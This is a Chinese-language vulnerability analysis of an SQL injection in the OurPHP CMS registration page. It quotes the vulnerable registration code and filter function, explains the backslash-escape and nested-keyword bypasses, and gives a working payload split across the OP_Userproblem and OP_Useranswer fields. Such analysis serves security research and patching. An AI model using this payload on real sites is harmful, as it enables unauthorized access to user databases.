OurPHP 注册页面SQL注入漏洞

漏洞描述

OURPHP(傲派建站系统)是一款使用PHP语言开发的网站内容管理系统,开发商为哈尔滨伟成科技有限公司。其注册页面处存在一个SQL漏洞。

漏洞原因

对参数进行过滤的过滤函数容易绕过。

漏洞分析

首先看到/client/user/ourphp_play.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
//处理注册用户
if(empty($_GET["ourphp_cms"])){

exit('no!');

}elseif($_GET["ourphp_cms"] == 'reg'){

// 验证开始
$ourphp_rs = $db -> select("`OP_Userreg`,`OP_Userlogin`,`OP_Userprotocol`,`OP_Usergroup`,`OP_Usermoney`,`OP_Useripoff`,`OP_Regtyle`,`OP_Regcode`","`ourphp_usercontrol`","where `id` = 1");

if($ourphp_usercontrol['regoff'] == 2){
exit('no!');
}

if($ourphp_rs[6] == 'email'){
$userloginemail = $_POST["OP_Useremail"];
$userlogintel = $_POST["OP_Useremail"];
if ($userloginemail == '' || $_POST["OP_Userpass"] == '' || $_POST["OP_Userpass2"] == '' || $_POST["OP_Useranswer"] == ''){
exit("<script language=javascript> alert('".$inputno."');history.go(-1);</script>");
}elseif(strlen($userloginemail) > 50){
exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");
}
$emailvar = filter_var($userloginemail, FILTER_VALIDATE_EMAIL);
if(!$emailvar){
exit("<script language=javascript> alert('".$accessno."');history.go(-1);</script>");
}
}elseif($ourphp_rs[6] == 'tel'){
$userloginemail = $_POST["OP_Usertel"];
$userlogintel = $_POST["OP_Usertel"];
if ($userlogintel == '' || $_POST["OP_Userpass"] == '' || $_POST["OP_Userpass2"] == '' || $_POST["OP_Useranswer"] == ''){
exit("<script language=javascript> alert('".$inputno."');history.go(-1);</script>");
}elseif(strlen($userlogintel) > 11){
exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");
}
}

if($ourphp_rs[7] == 1){
if ($_POST["vcode"] == ''){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}
if ($_POST["vcode"] != $RegValidateCode){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}
}

if ($_POST["OP_Userpass"] != $_POST["OP_Userpass2"]){
exit("<script language=javascript> alert('".$passwordto."');history.go(-1);</script>");
}

if ($_POST["code"] != $ValidateCode){
exit("<script language=javascript> alert('".$code."');history.go(-1);</script>");
}

$query = $db -> select("OP_Useremail","`ourphp_user`","WHERE `OP_Useremail` = '".dowith_sql($userloginemail)."' || `OP_Usertel` = '".dowith_sql($userlogintel)."'");
if ($query){

exit("<script language=javascript> alert('".$usernameyes."');history.go(-1);</script>");

}else{

if ($ourphp_usercontrol['ipoff'] == 1){
$query = $db -> select("id","`ourphp_user`","WHERE `OP_Userip` = '".dowith_sql($_POST["ip"])."'");
if ($query){
exit("<script language=javascript> alert('".$userip."');history.go(-1);</script>");
}
}

if(dowith_sql($_POST["introducer"]) == ''){
$introducer = '';
}else{
$ourphp_rs = $db -> select("`OP_Useremail`","`ourphp_user`","WHERE `id` = ".intval($_POST["introducer"]));
if ($ourphp_rs){
$query = $db -> update("`ourphp_user`","`OP_Usermoney` = `OP_Usermoney` + ".$ourphp_usercontrol['money'][2].",`OP_Userintegral` = `OP_Userintegral` + ".$ourphp_usercontrol['money'][3],"where id = ".intval($_POST["introducer"]));
$introducer = $ourphp_rs[0];
}else{
$introducer = '';
}
}

$query = $db -> insert("`ourphp_user`","`OP_Useremail` = '".dowith_sql($userloginemail)."',`OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."',`OP_Usertel` = '".dowith_sql($userlogintel)."',`OP_Userclass` = '".$ourphp_usercontrol['group']."',`OP_Usersource` = '".$introducer."',`OP_Usermoney` = '".$ourphp_usercontrol['money'][0]."',`OP_Userintegral` = '".$ourphp_usercontrol['money'][1]."',`OP_Userip` = '".dowith_sql($_POST["ip"])."',`OP_Userproblem` = '".dowith_sql($_POST["OP_Userproblem"])."',`OP_Useranswer` = '".dowith_sql($_POST["OP_Useranswer"])."',`OP_Userstatus` = 1,`OP_Usercode` = '".randomkeys(18)."',`time` = '".date("Y-m-d H:i:s")."'","");

//处理Ucenter
if($ourphp_usercontrol['ucenter'] == 1){

include_once '../../config.inc.php';
include_once '../../uc_client/client.php';
$OP_Useremail = dowith_sql($_POST["OP_Useremail"]);
$OP_Userpass = dowith_sql($_REQUEST["OP_Userpass"]);
$OP_Username = dowith_sql($_POST["OP_Username"]);

$uid = uc_user_register($OP_Username, $OP_Userpass, $OP_Useremail);
if ($uid <= 0) {
if ($uid == -1) {
exit("<script language=javascript> alert('姓名不合法');history.go(-1);</script>");
} elseif ($uid == -2) {
exit("<script language=javascript> alert('包含要允许注册的词语');history.go(-1);</script>");
} elseif ($uid == -3) {
exit("<script language=javascript> alert('姓名已经存在');history.go(-1);</script>");
} elseif ($uid == -4) {
exit("<script language=javascript> alert('Email 格式有误');history.go(-1);</script>");
} elseif ($uid == -5) {
exit("<script language=javascript> alert('Email 不允许注册');history.go(-1);</script>");
} elseif ($uid == -6) {
exit("<script language=javascript> alert('该 Email 已经被注册');history.go(-1);</script>");
} else {
echo '未定义';
}
} else {
echo ''; //注册成功
}

}
//注册成功,邮件提醒
$ourphp_rs = $db -> select("`OP_Regtyle`","`ourphp_usercontrol`","where `id` = 1");
if($ourphp_rs[0] == 'email'){
$ourphp_mail = 'reguser';
$OP_Useremail = dowith_sql($userloginemail);
$OP_Userpass = dowith_sql($_POST["OP_Userpass"]);
$OP_Username = dowith_sql($_POST["OP_Username"]);
include '../../function/ourphp_mail.class.php';
}

echo @ourphp_pcwapurl($_GET['type'],'?cn-login.html','?'.$_GET["lang"].'-userlogin.html',0,'');
exit;
}

可以看到,用户注册时所使用的用户名,密码,邮箱等相关信息会经过dowith_sql这个过滤函数过滤,然后insert到数据库中。问题就出现在这个dowith_sql函数,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*防注入函数*/
function dowith_sql($ourphpstr){
$ourphpstr = addslashes($ourphpstr);
$ourphpstr = str_ireplace(" and ","",$ourphpstr);
$ourphpstr = str_ireplace(" or ","",$ourphpstr);
$ourphpstr = str_ireplace("execute","",$ourphpstr);
$ourphpstr = str_ireplace("update","",$ourphpstr);
$ourphpstr = str_ireplace("count","",$ourphpstr);
$ourphpstr = str_ireplace("chr","",$ourphpstr);
$ourphpstr = str_ireplace("truncate","",$ourphpstr);
$ourphpstr = str_ireplace("char","",$ourphpstr);
$ourphpstr = str_ireplace("declare","",$ourphpstr);
$ourphpstr = str_ireplace("select","",$ourphpstr);
$ourphpstr = str_ireplace("create","",$ourphpstr);
$ourphpstr = str_ireplace("delete","",$ourphpstr);
$ourphpstr = str_ireplace("insert","",$ourphpstr);
$ourphpstr = str_ireplace("limit","",$ourphpstr);
$ourphpstr = str_ireplace("extractvalue","",$ourphpstr);
$ourphpstr = str_ireplace("concat","",$ourphpstr);
$ourphpstr = str_ireplace("&&","",$ourphpstr);
$ourphpstr = str_ireplace("||","",$ourphpstr);
$ourphpstr = str_ireplace("<script","",$ourphpstr);
$ourphpstr = str_ireplace("<iframe","",$ourphpstr);
$ourphpstr = str_ireplace("<embed","",$ourphpstr);
$ourphpstr = str_ireplace("*","",$ourphpstr);
$ourphpstr = str_ireplace("#","",$ourphpstr);
$ourphpstr = str_ireplace("'","",$ourphpstr);
$ourphpstr = str_ireplace("<","&lt;",$ourphpstr);
$ourphpstr = str_ireplace(">","&gt;",$ourphpstr);
$ourphpstr = str_ireplace("&","&amp;",$ourphpstr);
return $ourphpstr;
}

这个过滤函数写的很有问题。

  1. 对于关键词的检测,太容易绕过了,selselectect->select

  2. 没有过滤\,虽然前面用了addslashes, 但是后面又把单引号置空了,这就会让我们成功的引入\

    看下流程,'\–>addslashes–>\'\\–>单引号置空–>\\\。 这也是这个漏洞的关键,通过引入\将之后的'转义掉,之后在利用一个可控点将payload注入。

所以要利用这个点,有一个条件,就是必须要有两个连续可控的点。一个引入\,一个引入payload。要让SQL语句正常执行,可控点必须是连续的。

看下这个SQL语句

1
$query = $db -> insert("`ourphp_user`","`OP_Useremail` = '".dowith_sql($userloginemail)."',`OP_Userpass` = '".dowith_sql(substr(md5(md5($_REQUEST["OP_Userpass"])),0,16))."',`OP_Usertel` = '".dowith_sql($userlogintel)."',`OP_Userclass` = '".$ourphp_usercontrol['group']."',`OP_Usersource` = '".$introducer."',`OP_Usermoney` = '".$ourphp_usercontrol['money'][0]."',`OP_Userintegral` = '".$ourphp_usercontrol['money'][1]."',`OP_Userip` = '".dowith_sql($_POST["ip"])."',`OP_Userproblem` = '".dowith_sql($_POST["OP_Userproblem"])."',`OP_Useranswer` = '".dowith_sql($_POST["OP_Useranswer"])."',`OP_Userstatus` = 1,`OP_Usercode` = '".randomkeys(18)."',`time` = '".date("Y-m-d H:i:s")."'","");

这里选择OP_UserproblemOP_Useranswer来进行注入。通过OP_Userproblem引入\,将payload的通过OP_Useranswer传进去。构造payload的时候可以将payload的执行结果输出到前台,ourphp_user中有个OP_Username(用户名)会显示在前台,所以可以将payload的结果传到OP_Username中,执行结果在前台的用户个人资料中可以看到。

漏洞复现

注册,用 burpsuite 抓包,将OP_Userproblem修改为'\,将OP_Useranswer改为,`OP_Username`=user()--+-

此时可以看到mysql的日志,payload 成功带入到 SQL 语句并执行了。

前台登陆,查看个人资料,可以看到user()的执行结果。